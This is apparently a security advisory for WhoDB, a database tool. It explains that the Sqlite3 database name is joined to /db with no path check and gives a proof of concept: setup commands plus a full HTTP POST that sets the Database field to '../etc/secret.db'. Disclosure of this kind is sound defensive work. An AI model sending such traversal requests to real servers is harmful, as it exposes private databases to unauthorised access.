WhoDB has a path traversal opening Sqlite3 database

Summary

While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.

Details

WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20

If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:

The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26

No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.

This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.

PoC

Before running the container, an example Sqlite3 database with dummy "secret" data was created:

DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"

The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:

podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb

The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:

POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...

{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n  Login(credentials: $credentials) {\n    Status\n    __typename\n  }\n}"}